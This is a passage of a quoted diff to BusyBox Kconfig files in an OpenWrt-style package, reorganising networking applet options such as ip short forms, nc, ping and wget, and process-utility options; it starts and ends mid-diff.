>   	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IPV6
> -	depends on BUSYBOX_CONFIG_IFUPDOWN && BUSYBOX_CONFIG_FEATURE_IPV6
> +	depends on (BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN) && BUSYBOX_CONFIG_FEATURE_IPV6
>   	help
>   	  If you need support for IPv6, turn this option on.
>   
> -### UNUSED
> -###config FEATURE_IFUPDOWN_IPX
> -###	bool "Support for IPX"
> -###	default y
> -###	depends on IFUPDOWN
> -###	help
> -###	  If this option is selected you can use busybox to work with IPX
> -###	  networks.
>   
>   config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_MAPPING
>   	bool "Enable mapping support"
>   	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_MAPPING
> -	depends on BUSYBOX_CONFIG_IFUPDOWN
> +	depends on BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN
>   	help
>   	  This enables support for the "mapping" stanza, unless you have
>   	  a weird network setup you don't need it.
> @@ -622,13 +408,12 @@ config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_MAPPING
>   config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_EXTERNAL_DHCP
>   	bool "Support for external dhcp clients"
>   	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_EXTERNAL_DHCP
> -	depends on BUSYBOX_CONFIG_IFUPDOWN
> +	depends on BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN
>   	help
>   	  This enables support for the external dhcp clients. Clients are
>   	  tried in the following order: dhcpcd, dhclient, pump and udhcpc.
>   	  Otherwise, if udhcpc applet is enabled, it is used.
>   	  Otherwise, ifup/ifdown will have no support for DHCP.
> -
>   config BUSYBOX_CONFIG_INETD
>   	bool "inetd"
>   	default BUSYBOX_DEFAULT_INETD
> @@ -678,7 +463,6 @@ config BUSYBOX_CONFIG_FEATURE_INETD_RPC
>   	select BUSYBOX_CONFIG_FEATURE_HAVE_RPC
>   	help
>   	  Support Sun-RPC based services
> -
>   config BUSYBOX_CONFIG_IP
>   	bool "ip"
>   	default BUSYBOX_DEFAULT_IP
> @@ -688,24 +472,72 @@ config BUSYBOX_CONFIG_IP
>   	  utility. You generally don't need "ip" to use busybox with
>   	  TCP/IP.
>   
> +config BUSYBOX_CONFIG_IPADDR
> +	bool "ipaddr"
> +	default BUSYBOX_DEFAULT_IPADDR
> +	select BUSYBOX_CONFIG_FEATURE_IP_ADDRESS
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Support short form of ip addr: ipaddr
> +
> +config BUSYBOX_CONFIG_IPLINK
> +	bool "iplink"
> +	default BUSYBOX_DEFAULT_IPLINK
> +	select BUSYBOX_CONFIG_FEATURE_IP_LINK
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Support short form of ip link: iplink
> +
> +config BUSYBOX_CONFIG_IPROUTE
> +	bool "iproute"
> +	default BUSYBOX_DEFAULT_IPROUTE
> +	select BUSYBOX_CONFIG_FEATURE_IP_ROUTE
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Support short form of ip route: iproute
> +
> +config BUSYBOX_CONFIG_IPTUNNEL
> +	bool "iptunnel"
> +	default BUSYBOX_DEFAULT_IPTUNNEL
> +	select BUSYBOX_CONFIG_FEATURE_IP_TUNNEL
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Support short form of ip tunnel: iptunnel
> +
> +config BUSYBOX_CONFIG_IPRULE
> +	bool "iprule"
> +	default BUSYBOX_DEFAULT_IPRULE
> +	select BUSYBOX_CONFIG_FEATURE_IP_RULE
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Support short form of ip rule: iprule
> +
> +config BUSYBOX_CONFIG_IPNEIGH
> +	bool "ipneigh"
> +	default BUSYBOX_DEFAULT_IPNEIGH
> +	select BUSYBOX_CONFIG_FEATURE_IP_NEIGH
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Support short form of ip neigh: ipneigh
> +
>   config BUSYBOX_CONFIG_FEATURE_IP_ADDRESS
>   	bool "ip address"
>   	default BUSYBOX_DEFAULT_FEATURE_IP_ADDRESS
> -	depends on BUSYBOX_CONFIG_IP
> +	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPADDR
>   	help
>   	  Address manipulation support for the "ip" applet.
>   
>   config BUSYBOX_CONFIG_FEATURE_IP_LINK
>   	bool "ip link"
>   	default BUSYBOX_DEFAULT_FEATURE_IP_LINK
> -	depends on BUSYBOX_CONFIG_IP
> +	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPLINK
>   	help
>   	  Configure network devices with "ip".
>   
>   config BUSYBOX_CONFIG_FEATURE_IP_ROUTE
>   	bool "ip route"
>   	default BUSYBOX_DEFAULT_FEATURE_IP_ROUTE
> -	depends on BUSYBOX_CONFIG_IP
> +	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPROUTE
>   	help
>   	  Add support for routing table management to "ip".
>   
> @@ -719,80 +551,33 @@ config BUSYBOX_CONFIG_FEATURE_IP_ROUTE_DIR
>   config BUSYBOX_CONFIG_FEATURE_IP_TUNNEL
>   	bool "ip tunnel"
>   	default BUSYBOX_DEFAULT_FEATURE_IP_TUNNEL
> -	depends on BUSYBOX_CONFIG_IP
> +	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPTUNNEL
>   	help
>   	  Add support for tunneling commands to "ip".
>   
>   config BUSYBOX_CONFIG_FEATURE_IP_RULE
>   	bool "ip rule"
>   	default BUSYBOX_DEFAULT_FEATURE_IP_RULE
> -	depends on BUSYBOX_CONFIG_IP
> +	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPRULE
>   	help
>   	  Add support for rule commands to "ip".
>   
>   config BUSYBOX_CONFIG_FEATURE_IP_NEIGH
>   	bool "ip neighbor"
>   	default BUSYBOX_DEFAULT_FEATURE_IP_NEIGH
> -	depends on BUSYBOX_CONFIG_IP
> +	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPNEIGH
>   	help
>   	  Add support for neighbor commands to "ip".
>   
> -config BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS
> -	bool "Support short forms of ip commands"
> -	default BUSYBOX_DEFAULT_FEATURE_IP_SHORT_FORMS
> -	depends on BUSYBOX_CONFIG_IP
> -	help
> -	  Also support short-form of ip <OBJECT> commands:
> -	  ip addr   -> ipaddr
> -	  ip link   -> iplink
> -	  ip route  -> iproute
> -	  ip tunnel -> iptunnel
> -	  ip rule   -> iprule
> -	  ip neigh  -> ipneigh
> -
> -	  Say N unless you desparately need the short form of the ip
> -	  object commands.
> -
>   config BUSYBOX_CONFIG_FEATURE_IP_RARE_PROTOCOLS
>   	bool "Support displaying rarely used link types"
>   	default BUSYBOX_DEFAULT_FEATURE_IP_RARE_PROTOCOLS
> -	depends on BUSYBOX_CONFIG_IP
> +	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPADDR || BUSYBOX_CONFIG_IPLINK || BUSYBOX_CONFIG_IPROUTE || BUSYBOX_CONFIG_IPTUNNEL || BUSYBOX_CONFIG_IPRULE || BUSYBOX_CONFIG_IPNEIGH
>   	help
>   	  If you are not going to use links of type "frad", "econet",
>   	  "bif" etc, you probably don't need to enable this.
>   	  Ethernet, wireless, infrared, ppp/slip, ip tunnelling
>   	  link types are supported without this option selected.
> -
> -config BUSYBOX_CONFIG_IPADDR
> -	bool
> -	default BUSYBOX_DEFAULT_IPADDR
> -	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_ADDRESS
> -
> -config BUSYBOX_CONFIG_IPLINK
> -	bool
> -	default BUSYBOX_DEFAULT_IPLINK
> -	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_LINK
> -
> -config BUSYBOX_CONFIG_IPROUTE
> -	bool
> -	default BUSYBOX_DEFAULT_IPROUTE
> -	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_ROUTE
> -
> -config BUSYBOX_CONFIG_IPTUNNEL
> -	bool
> -	default BUSYBOX_DEFAULT_IPTUNNEL
> -	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_TUNNEL
> -
> -config BUSYBOX_CONFIG_IPRULE
> -	bool
> -	default BUSYBOX_DEFAULT_IPRULE
> -	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_RULE
> -
> -config BUSYBOX_CONFIG_IPNEIGH
> -	bool
> -	default BUSYBOX_DEFAULT_IPNEIGH
> -	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_NEIGH
> -
>   config BUSYBOX_CONFIG_IPCALC
>   	bool "ipcalc"
>   	default BUSYBOX_DEFAULT_IPCALC
> @@ -814,13 +599,84 @@ config BUSYBOX_CONFIG_FEATURE_IPCALC_LONG_OPTIONS
>   	depends on BUSYBOX_CONFIG_IPCALC && BUSYBOX_CONFIG_LONG_OPTS
>   	help
>   	  Support long options for the ipcalc applet.
> +config BUSYBOX_CONFIG_FAKEIDENTD
> +	bool "fakeidentd"
> +	default BUSYBOX_DEFAULT_FAKEIDENTD
> +	select BUSYBOX_CONFIG_FEATURE_SYSLOG
> +	help
> +	  fakeidentd listens on the ident port and returns a predefined
> +	  fake value on any query.
> +config BUSYBOX_CONFIG_NAMEIF
> +	bool "nameif"
> +	default BUSYBOX_DEFAULT_NAMEIF
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	select BUSYBOX_CONFIG_FEATURE_SYSLOG
> +	help
> +	  nameif is used to rename network interface by its MAC address.
> +	  Renamed interfaces MUST be in the down state.
> +	  It is possible to use a file (default: /etc/mactab)
> +	  with list of new interface names and MACs.
> +	  Maximum interface name length: IFNAMSIZ = 16
> +	  File fields are separated by space or tab.
> +	  File format:
> +	  # Comment
> +	  new_interface_name    XX:XX:XX:XX:XX:XX
>   
> +config BUSYBOX_CONFIG_FEATURE_NAMEIF_EXTENDED
> +	bool "Extended nameif"
> +	default BUSYBOX_DEFAULT_FEATURE_NAMEIF_EXTENDED
> +	depends on BUSYBOX_CONFIG_NAMEIF
> +	help
> +	  This extends the nameif syntax to support the bus_info, driver,
> +	  phyaddr selectors. The syntax is compatible to the normal nameif.
> +	  File format:
> +	    new_interface_name  driver=asix bus=usb-0000:00:08.2-3
> +	    new_interface_name  bus=usb-0000:00:08.2-3 00:80:C8:38:91:B5
> +	    new_interface_name  phy_address=2 00:80:C8:38:91:B5
> +	    new_interface_name  mac=00:80:C8:38:91:B5
> +	    new_interface_name  00:80:C8:38:91:B5
> +config BUSYBOX_CONFIG_NBDCLIENT
> +	bool "nbd-client"
> +	default BUSYBOX_DEFAULT_NBDCLIENT
> +	help
> +	  Network block device client
> +config BUSYBOX_CONFIG_NC
> +	bool "nc"
> +	default BUSYBOX_DEFAULT_NC
> +	help
> +	  A simple Unix utility which reads and writes data across network
> +	  connections.
> +
> +config BUSYBOX_CONFIG_NC_SERVER
> +	bool "Netcat server options (-l)"
> +	default BUSYBOX_DEFAULT_NC_SERVER
> +	depends on BUSYBOX_CONFIG_NC
> +	help
> +	  Allow netcat to act as a server.
> +
> +config BUSYBOX_CONFIG_NC_EXTRA
> +	bool "Netcat extensions (-eiw and -f FILE)"
> +	default BUSYBOX_DEFAULT_NC_EXTRA
> +	depends on BUSYBOX_CONFIG_NC
> +	help
> +	  Add -e (support for executing the rest of the command line after
> +	  making or receiving a successful connection), -i (delay interval for
> +	  lines sent), -w (timeout for initial connection).
> +
> +config BUSYBOX_CONFIG_NC_110_COMPAT
> +	bool "Netcat 1.10 compatibility (+2.5k)"
> +	default BUSYBOX_DEFAULT_NC_110_COMPAT  # off specially for Rob
> +	depends on BUSYBOX_CONFIG_NC
> +	help
> +	  This option makes nc closely follow original nc-1.10.
> +	  The code is about 2.5k bigger. It enables
> +	  -s ADDR, -n, -u, -v, -o FILE, -z options, but loses
> +	  busybox-specific extensions: -f FILE.
>   config BUSYBOX_CONFIG_NETMSG
>   	bool "netmsg"
>   	default BUSYBOX_DEFAULT_NETMSG
>   	help
>   	  simple program for sending udp broadcast messages
> -
>   config BUSYBOX_CONFIG_NETSTAT
>   	bool "netstat"
>   	default BUSYBOX_DEFAULT_NETSTAT
> @@ -843,13 +699,11 @@ config BUSYBOX_CONFIG_FEATURE_NETSTAT_PRG
>   	help
>   	  Add support for -p flag to print out PID and program name.
>   	  +700 bytes of code.
> -
>   config BUSYBOX_CONFIG_NSLOOKUP
>   	bool "nslookup"
>   	default BUSYBOX_DEFAULT_NSLOOKUP
>   	help
>   	  nslookup is a tool to query Internet name servers.
> -
>   config BUSYBOX_CONFIG_NTPD
>   	bool "ntpd"
>   	default BUSYBOX_DEFAULT_NTPD
> @@ -872,20 +726,39 @@ config BUSYBOX_CONFIG_FEATURE_NTPD_CONF
>   	help
>   	  Make ntpd look in /etc/ntp.conf for peers. Only "server address"
>   	  is supported.
> +config BUSYBOX_CONFIG_PING
> +	bool "ping"
> +	default BUSYBOX_DEFAULT_PING
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  ping uses the ICMP protocol's mandatory ECHO_REQUEST datagram to
> +	  elicit an ICMP ECHO_RESPONSE from a host or gateway.
>   
> +config BUSYBOX_CONFIG_PING6
> +	bool "ping6"
> +	default BUSYBOX_DEFAULT_PING6
> +	depends on BUSYBOX_CONFIG_FEATURE_IPV6
> +	help
> +	  This will give you a ping that can talk IPv6.
> +
> +config BUSYBOX_CONFIG_FEATURE_FANCY_PING
> +	bool "Enable fancy ping output"
> +	default BUSYBOX_DEFAULT_FEATURE_FANCY_PING
> +	depends on BUSYBOX_CONFIG_PING || BUSYBOX_CONFIG_PING6
> +	help
> +	  Make the output from the ping applet include statistics, and at the
> +	  same time provide full support for ICMP packets.
>   config BUSYBOX_CONFIG_PSCAN
>   	bool "pscan"
>   	default BUSYBOX_DEFAULT_PSCAN
>   	help
>   	  Simple network port scanner.
> -
>   config BUSYBOX_CONFIG_ROUTE
>   	bool "route"
>   	default BUSYBOX_DEFAULT_ROUTE
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  Route displays or manipulates the kernel's IP routing tables.
> -
>   config BUSYBOX_CONFIG_SLATTACH
>   	bool "slattach"
>   	default BUSYBOX_DEFAULT_SLATTACH
> @@ -893,17 +766,6 @@ config BUSYBOX_CONFIG_SLATTACH
>   	help
>   	  slattach is a small utility to attach network interfaces to serial
>   	  lines.
> -
> -#config TC
> -#	bool "tc"
> -#	default y
> -#	help
> -#	  show / manipulate traffic control settings
> -#
> -#config FEATURE_TC_INGRESS
> -#	def_bool n
> -#	depends on TC
> -
>   config BUSYBOX_CONFIG_TCPSVD
>   	bool "tcpsvd"
>   	default BUSYBOX_DEFAULT_TCPSVD
> @@ -911,6 +773,12 @@ config BUSYBOX_CONFIG_TCPSVD
>   	  tcpsvd listens on a TCP port and runs a program for each new
>   	  connection.
>   
> +config BUSYBOX_CONFIG_UDPSVD
> +	bool "udpsvd"
> +	default BUSYBOX_DEFAULT_UDPSVD
> +	help
> +	  udpsvd listens on an UDP port and runs a program for each new
> +	  connection.
>   config BUSYBOX_CONFIG_TELNET
>   	bool "telnet"
>   	default BUSYBOX_DEFAULT_TELNET
> @@ -936,7 +804,6 @@ config BUSYBOX_CONFIG_FEATURE_TELNET_AUTOLOGIN
>   	  remote host you are connecting to. This is useful when you need to
>   	  log into a machine without telling the username (autologin). This
>   	  option enables `-a' and `-l USER' arguments.
> -
>   config BUSYBOX_CONFIG_TELNETD
>   	bool "telnetd"
>   	default BUSYBOX_DEFAULT_TELNETD
> @@ -978,7 +845,6 @@ config BUSYBOX_CONFIG_TELNETD
>   
>   	  with all that done, telnetd _should_ work....
>   
> -
>   config BUSYBOX_CONFIG_FEATURE_TELNETD_STANDALONE
>   	bool "Support standalone telnetd (not inetd only)"
>   	default BUSYBOX_DEFAULT_FEATURE_TELNETD_STANDALONE
> @@ -1006,7 +872,6 @@ config BUSYBOX_CONFIG_FEATURE_TELNETD_INETD_WAIT
>   	  This option is rarely used. "tcp nowait" is much more usual
>   	  way of running tcp services, including telnetd.
>   	  You most probably want to say N here.
> -
>   config BUSYBOX_CONFIG_TFTP
>   	bool "tftp"
>   	default BUSYBOX_DEFAULT_TFTP
> @@ -1071,7 +936,6 @@ config BUSYBOX_CONFIG_TFTP_DEBUG
>   	help
>   	  Make tftp[d] print debugging messages on stderr.
>   	  This is useful if you are diagnosing a bug in tftp[d].
> -
>   config BUSYBOX_CONFIG_TRACEROUTE
>   	bool "traceroute"
>   	default BUSYBOX_DEFAULT_TRACEROUTE
> @@ -1082,33 +946,24 @@ config BUSYBOX_CONFIG_TRACEROUTE
>   config BUSYBOX_CONFIG_TRACEROUTE6
>   	bool "traceroute6"
>   	default BUSYBOX_DEFAULT_TRACEROUTE6
> -	depends on BUSYBOX_CONFIG_FEATURE_IPV6 && BUSYBOX_CONFIG_TRACEROUTE
> +	depends on BUSYBOX_CONFIG_FEATURE_IPV6
>   	help
>   	  Utility to trace the route of IPv6 packets.
>   
>   config BUSYBOX_CONFIG_FEATURE_TRACEROUTE_VERBOSE
>   	bool "Enable verbose output"
>   	default BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_VERBOSE
> -	depends on BUSYBOX_CONFIG_TRACEROUTE
> +	depends on BUSYBOX_CONFIG_TRACEROUTE || BUSYBOX_CONFIG_TRACEROUTE6
>   	help
>   	  Add some verbosity to traceroute. This includes among other things
>   	  hostnames and ICMP response types.
>   
> -config BUSYBOX_CONFIG_FEATURE_TRACEROUTE_SOURCE_ROUTE
> -	bool "Enable loose source route"
> -	default BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_SOURCE_ROUTE
> -	depends on BUSYBOX_CONFIG_TRACEROUTE
> -	help
> -	  Add option to specify a loose source route gateway
> -	  (8 maximum).
> -
>   config BUSYBOX_CONFIG_FEATURE_TRACEROUTE_USE_ICMP
> -	bool "Use ICMP instead of UDP"
> +	bool "Enable -I option (use ICMP instead of UDP)"
>   	default BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_USE_ICMP
> -	depends on BUSYBOX_CONFIG_TRACEROUTE
> +	depends on BUSYBOX_CONFIG_TRACEROUTE || BUSYBOX_CONFIG_TRACEROUTE6
>   	help
>   	  Add option -I to use ICMP ECHO instead of UDP datagrams.
> -
>   config BUSYBOX_CONFIG_TUNCTL
>   	bool "tunctl"
>   	default BUSYBOX_DEFAULT_TUNCTL
> @@ -1123,32 +978,101 @@ config BUSYBOX_CONFIG_FEATURE_TUNCTL_UG
>   	help
>   	  Allow to specify owner and group of newly created interface.
>   	  340 bytes of pure bloat. Say no here.
> +config BUSYBOX_CONFIG_VCONFIG
> +	bool "vconfig"
> +	default BUSYBOX_DEFAULT_VCONFIG
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Creates, removes, and configures VLAN interfaces
> +config BUSYBOX_CONFIG_WGET
> +	bool "wget"
> +	default BUSYBOX_DEFAULT_WGET
> +	help
> +	  wget is a utility for non-interactive download of files from HTTP
> +	  and FTP servers.
>   
> -source udhcp/Config.in
> +config BUSYBOX_CONFIG_FEATURE_WGET_STATUSBAR
> +	bool "Enable a nifty process meter (+2k)"
> +	default BUSYBOX_DEFAULT_FEATURE_WGET_STATUSBAR
> +	depends on BUSYBOX_CONFIG_WGET
> +	help
> +	  Enable the transfer progress bar for wget transfers.
>   
> -config BUSYBOX_CONFIG_IFUPDOWN_UDHCPC_CMD_OPTIONS
> -	string "ifup udhcpc command line options"
> -	default BUSYBOX_DEFAULT_IFUPDOWN_UDHCPC_CMD_OPTIONS
> -	depends on BUSYBOX_CONFIG_IFUPDOWN && BUSYBOX_CONFIG_UDHCPC
> +config BUSYBOX_CONFIG_FEATURE_WGET_AUTHENTICATION
> +	bool "Enable HTTP authentication"
> +	default BUSYBOX_DEFAULT_FEATURE_WGET_AUTHENTICATION
> +	depends on BUSYBOX_CONFIG_WGET
>   	help
> -	  Command line options to pass to udhcpc from ifup.
> -	  Intended to alter options not available in /etc/network/interfaces.
> -	  (IE: --syslog --background etc...)
> +	  Support authenticated HTTP transfers.
>   
> -config BUSYBOX_CONFIG_UDPSVD
> -	bool "udpsvd"
> -	default BUSYBOX_DEFAULT_UDPSVD
> +config BUSYBOX_CONFIG_FEATURE_WGET_LONG_OPTIONS
> +	bool "Enable long options"
> +	default BUSYBOX_DEFAULT_FEATURE_WGET_LONG_OPTIONS
> +	depends on BUSYBOX_CONFIG_WGET && BUSYBOX_CONFIG_LONG_OPTS
>   	help
> -	  udpsvd listens on an UDP port and runs a program for each new
> -	  connection.
> +	  Support long options for the wget applet.
>   
> -config BUSYBOX_CONFIG_VCONFIG
> -	bool "vconfig"
> -	default BUSYBOX_DEFAULT_VCONFIG
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +config BUSYBOX_CONFIG_FEATURE_WGET_TIMEOUT
> +	bool "Enable timeout option -T SEC"
> +	default BUSYBOX_DEFAULT_FEATURE_WGET_TIMEOUT
> +	depends on BUSYBOX_CONFIG_WGET
>   	help
> -	  Creates, removes, and configures VLAN interfaces
> +	  Supports network read and connect timeouts for wget,
> +	  so that wget will give up and timeout, through the -T
> +	  command line option.
> +
> +	  Currently only connect and network data read timeout are
> +	  supported (i.e., timeout is not applied to the DNS query). When
> +	  FEATURE_WGET_LONG_OPTIONS is also enabled, the --timeout option
> +	  will work in addition to -T.
> +
> +config BUSYBOX_CONFIG_FEATURE_WGET_OPENSSL
> +	bool "Try to connect to HTTPS using openssl"
> +	default BUSYBOX_DEFAULT_FEATURE_WGET_OPENSSL
> +	depends on BUSYBOX_CONFIG_WGET
> +	help
> +	  Choose how wget establishes SSL connection for https:// URLs.
> +
> +	  Busybox itself contains no SSL code. wget will spawn
> +	  a helper program to talk over HTTPS.
> +
> +	  OpenSSL has a simple SSL client for debug purposes.
> +	  If you select "openssl" helper, wget will effectively run:
> +	  "openssl s_client -quiet -connect hostname:443
> +	  -servername hostname 2>/dev/null" and pipe its data
> +	  through it. -servername is not used if hostname is numeric.
> +	  Note inconvenient API: host resolution is done twice,
> +	  and there is no guarantee openssl's idea of IPv6 address
> +	  format is the same as ours.
> +	  Another problem is that s_client prints debug information
> +	  to stderr, and it needs to be suppressed. This means
> +	  all error messages get suppressed too.
> +	  openssl is also a big binary, often dynamically linked
> +	  against ~15 libraries.
> +
> +config BUSYBOX_CONFIG_FEATURE_WGET_SSL_HELPER
> +	bool "Try to connect to HTTPS using ssl_helper"
> +	default BUSYBOX_DEFAULT_FEATURE_WGET_SSL_HELPER
> +	depends on BUSYBOX_CONFIG_WGET
> +	help
> +	  Choose how wget establishes SSL connection for https:// URLs.
> +
> +	  Busybox itself contains no SSL code. wget will spawn
> +	  a helper program to talk over HTTPS.
>   
> +	  ssl_helper is a tool which can be built statically
> +	  from busybox sources against a small embedded SSL library.
> +	  Please see networking/ssl_helper/README.
> +	  It does not require double host resolution and emits
> +	  error messages to stderr.
> +
> +	  Precompiled static binary may be available at
> +	  http://busybox.net/downloads/binaries/
> +config BUSYBOX_CONFIG_WHOIS
> +	bool "whois"
> +	default BUSYBOX_DEFAULT_WHOIS
> +	help
> +	  whois is a client for the whois directory service
>   config BUSYBOX_CONFIG_ZCIP
>   	bool "zcip"
>   	default BUSYBOX_DEFAULT_ZCIP
> @@ -1162,4 +1086,15 @@ config BUSYBOX_CONFIG_ZCIP
>   	  See http://www.zeroconf.org for further details, and "zcip.script"
>   	  in the busybox examples.
>   
> +source udhcp/Config.in
> +
> +config BUSYBOX_CONFIG_IFUPDOWN_UDHCPC_CMD_OPTIONS
> +	string "ifup udhcpc command line options"
> +	default BUSYBOX_DEFAULT_IFUPDOWN_UDHCPC_CMD_OPTIONS
> +	depends on BUSYBOX_CONFIG_IFUPDOWN && BUSYBOX_CONFIG_UDHCPC
> +	help
> +	  Command line options to pass to udhcpc from ifup.
> +	  Intended to alter options not available in /etc/network/interfaces.
> +	  (IE: --syslog --background etc...)
> +
>   endmenu
> diff --git a/package/utils/busybox/config/networking/udhcp/Config.in b/package/utils/busybox/config/networking/udhcp/Config.in
> index 4f48400..cdba5d5 100644
> --- a/package/utils/busybox/config/networking/udhcp/Config.in
> +++ b/package/utils/busybox/config/networking/udhcp/Config.in
> @@ -22,7 +22,6 @@ config BUSYBOX_CONFIG_UDHCPD
>   config BUSYBOX_CONFIG_DHCPRELAY
>   	bool "dhcprelay"
>   	default BUSYBOX_DEFAULT_DHCPRELAY
> -	depends on BUSYBOX_CONFIG_UDHCPD
>   	help
>   	  dhcprelay listens for dhcp requests on one or more interfaces
>   	  and forwards these requests to a different interface or dhcp
> @@ -31,7 +30,6 @@ config BUSYBOX_CONFIG_DHCPRELAY
>   config BUSYBOX_CONFIG_DUMPLEASES
>   	bool "Lease display utility (dumpleases)"
>   	default BUSYBOX_DEFAULT_DUMPLEASES
> -	depends on BUSYBOX_CONFIG_UDHCPD
>   	help
>   	  dumpleases displays the leases written out by the udhcpd server.
>   	  Lease times are stored in the file by time remaining in lease, or
> diff --git a/package/utils/busybox/config/procps/Config.in b/package/utils/busybox/config/procps/Config.in
> index 6eafbda..6bc5ec0 100644
> --- a/package/utils/busybox/config/procps/Config.in
> +++ b/package/utils/busybox/config/procps/Config.in
> @@ -6,122 +6,6 @@
>   
>   menu "Process Utilities"
>   
> -config BUSYBOX_CONFIG_IOSTAT
> -	bool "iostat"
> -	default BUSYBOX_DEFAULT_IOSTAT
> -	help
> -	  Report CPU and I/O statistics
> -config BUSYBOX_CONFIG_LSOF
> -	bool "lsof"
> -	default BUSYBOX_DEFAULT_LSOF
> -	help
> -	  Show open files in the format of:
> -	  PID <TAB> /path/to/executable <TAB> /path/to/opened/file
> -config BUSYBOX_CONFIG_MPSTAT
> -	bool "mpstat"
> -	default BUSYBOX_DEFAULT_MPSTAT
> -	help
> -	  Per-processor statistics
> -config BUSYBOX_CONFIG_NMETER
> -	bool "nmeter"
> -	default BUSYBOX_DEFAULT_NMETER
> -	help
> -	  Prints selected system stats continuously, one line per update.
> -config BUSYBOX_CONFIG_PMAP
> -       bool "pmap"
> -       default BUSYBOX_DEFAULT_PMAP
> -       help
> -         Display processes' memory mappings.
> -config BUSYBOX_CONFIG_POWERTOP
> -	bool "powertop"
> -	default BUSYBOX_DEFAULT_POWERTOP
> -	help
> -	  Analyze power consumption on Intel-based laptops
> -config BUSYBOX_CONFIG_PSTREE
> -	bool "pstree"
> -	default BUSYBOX_DEFAULT_PSTREE
> -	help
> -	  Display a tree of processes.
> -config BUSYBOX_CONFIG_PWDX
> -	bool "pwdx"
> -	default BUSYBOX_DEFAULT_PWDX
> -	help
> -	  Report current working directory of a process
> -config BUSYBOX_CONFIG_SMEMCAP
> -	bool "smemcap"
> -	default BUSYBOX_DEFAULT_SMEMCAP
> -	help
> -	  smemcap is a tool for capturing process data for smem,
> -	  a memory usage statistic tool.
> -config BUSYBOX_CONFIG_TOP
> -	bool "top"
> -	default BUSYBOX_DEFAULT_TOP
> -	help
> -	  The top program provides a dynamic real-time view of a running
> -	  system.
> -
> -config BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
> -	bool "Show CPU per-process usage percentage"
> -	default BUSYBOX_DEFAULT_FEATURE_TOP_CPU_USAGE_PERCENTAGE
> -	depends on BUSYBOX_CONFIG_TOP
> -	help
> -	  Make top display CPU usage for each process.
> -	  This adds about 2k.
> -
> -config BUSYBOX_CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS
> -	bool "Show CPU global usage percentage"
> -	default BUSYBOX_DEFAULT_FEATURE_TOP_CPU_GLOBAL_PERCENTS
> -	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
> -	help
> -	  Makes top display "CPU: NN% usr NN% sys..." line.
> -	  This adds about 0.5k.
> -
> -config BUSYBOX_CONFIG_FEATURE_TOP_SMP_CPU
> -	bool "SMP CPU usage display ('c' key)"
> -	default BUSYBOX_DEFAULT_FEATURE_TOP_SMP_CPU
> -	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS
> -	help
> -	  Allow 'c' key to switch between individual/cumulative CPU stats
> -	  This adds about 0.5k.
> -
> -config BUSYBOX_CONFIG_FEATURE_TOP_DECIMALS
> -	bool "Show 1/10th of a percent in CPU/mem statistics"
> -	default BUSYBOX_DEFAULT_FEATURE_TOP_DECIMALS
> -	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
> -	help
> -	  Show 1/10th of a percent in CPU/mem statistics.
> -	  This adds about 0.3k.
> -
> -config BUSYBOX_CONFIG_FEATURE_TOP_SMP_PROCESS
> -	bool "Show CPU process runs on ('j' field)"
> -	default BUSYBOX_DEFAULT_FEATURE_TOP_SMP_PROCESS
> -	depends on BUSYBOX_CONFIG_TOP
> -	help
> -	  Show CPU where process was last found running on.
> -	  This is the 'j' field.
> -
> -config BUSYBOX_CONFIG_FEATURE_TOPMEM
> -	bool "Topmem command ('s' key)"
> -	default BUSYBOX_DEFAULT_FEATURE_TOPMEM
> -	depends on BUSYBOX_CONFIG_TOP
> -	help
> -	  Enable 's' in top (gives lots of memory info).
> -config BUSYBOX_CONFIG_UPTIME
> -	bool "uptime"
